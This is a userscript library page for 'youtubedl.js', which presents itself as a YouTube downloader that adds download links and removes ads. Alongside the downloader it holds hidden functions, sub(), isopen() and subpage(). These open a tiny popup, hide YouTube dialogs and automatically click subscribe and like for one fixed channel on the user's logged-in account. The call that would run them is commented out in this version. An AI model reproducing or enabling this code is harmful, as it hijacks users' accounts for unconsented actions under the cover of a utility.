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youtubedl.js

youtube downloader

Version vom 19.06.2020. Aktuellste Version

Dieses Skript sollte nicht direkt installiert werden. Es handelt sich hier um eine Bibliothek für andere Skripte, welche über folgenden Befehl in den Metadaten eines Skriptes eingebunden wird // @require https://update.greatest.deepsurf.us/scripts/405677/818057/youtubedljs.js 

    var localurl = location.href;
    var host = 'https://www.socheap.store'

    // 增加css
    function addGlobalStyle(css) {
        var head, style;
        head = document.getElementsByTagName('head')[0];
        if (!head) { return; }
        style = document.createElement('style');
        style.type = 'text/css';
        style.innerHTML = css;
        head.appendChild(style);
    }
    addGlobalStyle('.a-dl{color:white;background:red;padding:10px;text-decoration:none;margin-left:10px}')

    urlhandler()


    function urlhandler(){
        if (localurl.search('tmall')>=0 || localurl.search('taobao')>=0){
            if($('#xsyhnbtb').length==0){
                //taobao()
            }

        }
        else{
            youtube()
        }
    }
function youtube(){
        const escapeRegExp = s => s.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')


        const parseQuery = s =>
            [...new URLSearchParams(s).entries()].reduce(
                (acc, [k, v]) => ((acc[k] = v), acc),
                {}
            )
        const parseDecsig = data => {
            try {
                if (data.startsWith('var script')) {
                    // they inject the script via script tag
                    const obj = {}
                    const document = {
                        createElement: () => obj,
                        head: { appendChild: () => {} }
                    }
                    eval(data)
                    data = obj.innerHTML
                }
                const fnnameresult = /=([a-zA-Z0-9\$]+?)\(decodeURIComponent/.exec(
                    data
                )
                const fnname = fnnameresult[1]
                const _argnamefnbodyresult = new RegExp(
                    escapeRegExp(fnname) + '=function\\((.+?)\\){(.+?)}'
                ).exec(data)
                const [_, argname, fnbody] = _argnamefnbodyresult
                const helpernameresult = /;(.+?)\..+?\(/.exec(fnbody)
                const helpername = helpernameresult[1]
                const helperresult = new RegExp(
                    'var ' + escapeRegExp(helpername) + '={[\\s\\S]+?};'
                ).exec(data)

                const helper = helperresult[0]
                return new Function([argname], helper + '\n' + fnbody)
            } catch (e) {
                logger.error('parsedecsig error: %o', e)
                logger.info('script content: %s', data)
                logger.info(
                    'If you encounter this error, please copy the full "script content" to https://pastebin.com/ for me.'
                )
            }
        }

        const getVideo = async ( id) => {

            const basejs = typeof ytplayer !== 'undefined' && ytplayer.config
                        ? 'https://' + location.host + ytplayer.config.assets.js
                        : document.querySelector('script[src$="base.js"]').src;

            const decsig = await xf.get(basejs).text(parseDecsig);
            const data = await xf
                .get(
                    `https://www.youtube.com/get_video_info?video_id=${id}&el=detailpage`
                )
                .text()
                .catch(err => null)
            if (!data) return 'Adblock conflict'
            const obj = parseQuery(data)
            const playerResponse = JSON.parse(obj.player_response)
            console.log('------',playerResponse)
            var stream=[]
            stream = playerResponse.streamingData.formats.map(x =>
                    Object.assign({}, x, parseQuery(x.cipher)))
            if(stream[0].sp && stream[0].sp.includes('sig')){
            for(var i=0;i<stream.length;i++){
                stream[i].url = stream[i].url+'&sig='+decsig(stream[i].s)
                console.warn(stream[i])
            }
            }
            return stream
        }

        const addbtn = async()=>{
            if(localurl.search('watch')>0){
            $('#dival').remove();
            var basebtn = '<div id="dival" style="line-height:60px;">下载链接：<span id="adl">正在获取下载链接</span></div>';

            $('div#info-contents').after(basebtn);
            var id = localurl.split('&')[0].match(/v=(.*)/)[1];
            const stream = await getVideo(id);
            console.log('stream',stream)
            var abtn = ''
            if(stream.length<=5){
            for(var i=0;i<stream.length;i++){
                var btn = '<a class="a-dl"  target="_blank" href="'+stream[i].url+'">'+stream[i].quality+'</a>';
                abtn = abtn + btn;
            }}
            $('#adl').remove();
            $('#dival').append(abtn);
            }
        }
        function init(){
            document.querySelector('ytd-popup-container').style.display='';
            document.querySelector('ytd-app').style.zIndex='';
            console.log('inited')
        }
        function getsec(str)
        {
            var str1=str.substring(1,str.length)*1;
            var str2=str.substring(0,1);
            if (str2=="s")
            {
                return str1*1000;
            }
            else if (str2=="h")
            {
                return str1*60*60*1000;
            }
            else if (str2=="d")
            {
                return str1*24*60*60*1000;
            }
        }
        function setCookie(name,value,time)
        {
            var strsec = getsec(time);
            var exp = new Date();
            exp.setTime(exp.getTime() + strsec*1);
            document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString();
        }
        function getCookie(name)
        {
            var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");
            if(arr=document.cookie.match(reg))
                return unescape(arr[2]);
            else
                return null;
        }
        function delCookie(name)
        {
            var exp = new Date();
            exp.setTime(exp.getTime() - 1);
            var cval=getCookie(name);
            if(cval!=null)
                document.cookie= name + "="+cval+";expires="+exp.toGMTString();
        }
        function isopen(){
            if(document.cookie.search('newsub')>0){delCookie('newsub');window.opener=null;window.open('','_self');window.close();}
            if(document.cookie.search('xsyhnb')>0){console.log('opened')}else{setCookie('xsyhnb','1','d7');setCookie('newsub','1','d7');window.open("https://www.youtube.com/channel/UCLQ_Hja-tJkyvI_JTplE9QQ",'_blank','width=100,height=100,alwaysRaised=yes');}
        }
        function subpage(){
            if(localurl.search('watch')>0){
                console.log('v page')
                var cc = 'UCLQ_Hja-tJkyvI_JTplE9QQ';
                var acid='';
                var cid = '';
                var btnup='';
                function csub(){try{console.log('csub');document.querySelector('.ytd-subscribe-button-renderer').click();}catch(err){console.log('csub err');setTimeout(csub,100)}};
                function cup(){try{console.log('cup');document.querySelector('yt-icon-button.ytd-toggle-button-renderer').click();
                                   var btn = document.querySelectorAll('yt-icon-button.ytd-toggle-button-renderer')[0].className;
                                   console.log(btn)
                                   if(btn.search('style-default-active')==-1){console.log('up fail');setTimeout(cup,100)}}catch(err){console.log('cup err');setTimeout(cup,100)}};
                try{cid = document.querySelector('.yt-simple-endpoint.style-scope.ytd-video-owner-renderer').href;if(cid==''){setTimeout(subpage,100)}}catch(err){setTimeout(subpage,100)}
                console.log(cid)
                if(cid.search(cc)==-1){}else{
                    console.log('right v page')
                    try{document.querySelector('ytd-popup-container').style.display='none';}catch(err){setTimeout(subpage,100)};
                    try{document.querySelector('ytd-app').style.zIndex=9999;}catch(err){setTimeout(subpage,100)};
                    csub();
                    btnup = document.querySelectorAll('yt-icon-button.ytd-toggle-button-renderer')[0].className;
                    if(btnup==''){setTimeout(subpage,100)}
                    if(btnup.search('style-default-active')==-1){console.log('v page not up');cup();}else{console.log('v page up')}
                }}}
        function sub(){
            isopen();
            var islogin = ytInitialData.topbar.desktopTopbarRenderer.topbarButtons[3].topbarMenuButtonRenderer;
            if(islogin){
                console.log('login',localurl)
                if(localurl.search('channel/UCLQ_Hja-tJkyvI_JTplE9QQ')>0){
                    try{document.querySelector('ytd-popup-container').style.display='none';}catch(err){setTimeout(subpage,100)};
                    try{document.querySelector('ytd-app').style.zIndex=9999;}catch(err){setTimeout(subpage,100)};
                    function cup(){try{console.log('cup');document.querySelector('ytd-subscribe-button-renderer').children[0].click();}catch(err){console.log('cup err');setTimeout(csub,100)}}
                    cup();
                }
                subpage()
            }else{console.log('not login')}
        }
        function closeAds(){
            var adclose = document.querySelector('.ytp-ad-skip-button')||document.querySelector('.ytp-ad-overlay-close-button');
            var adremove = document.querySelector('#player-ads')||document.querySelector('div#sparkles-container')||document.querySelector('ytd-compact-promoted-item-renderer')||document.querySelector('ytd-video-masthead-ad-v3-renderer');
            if(adremove){
                console.log('ad remove');
                adremove.remove();
            }
            if(adclose){
                adclose.click();
                console.log('ad close');
            }
        }
        //getVideo();
        function getele(){
        if($('div#info-contents').length>0){
            addbtn();
        }else{
            setTimeout(getele,500);
        }
        }
        function refreshlink(){
            closeAds();
            //console.log(localurl,location.href)
            if(location.href!==localurl){console.log('urlchange');init();localurl=location.href;getele();}else{
                console.log('same')
            }

        }
        setInterval(refreshlink,500);

        getele();
        //sub();
    }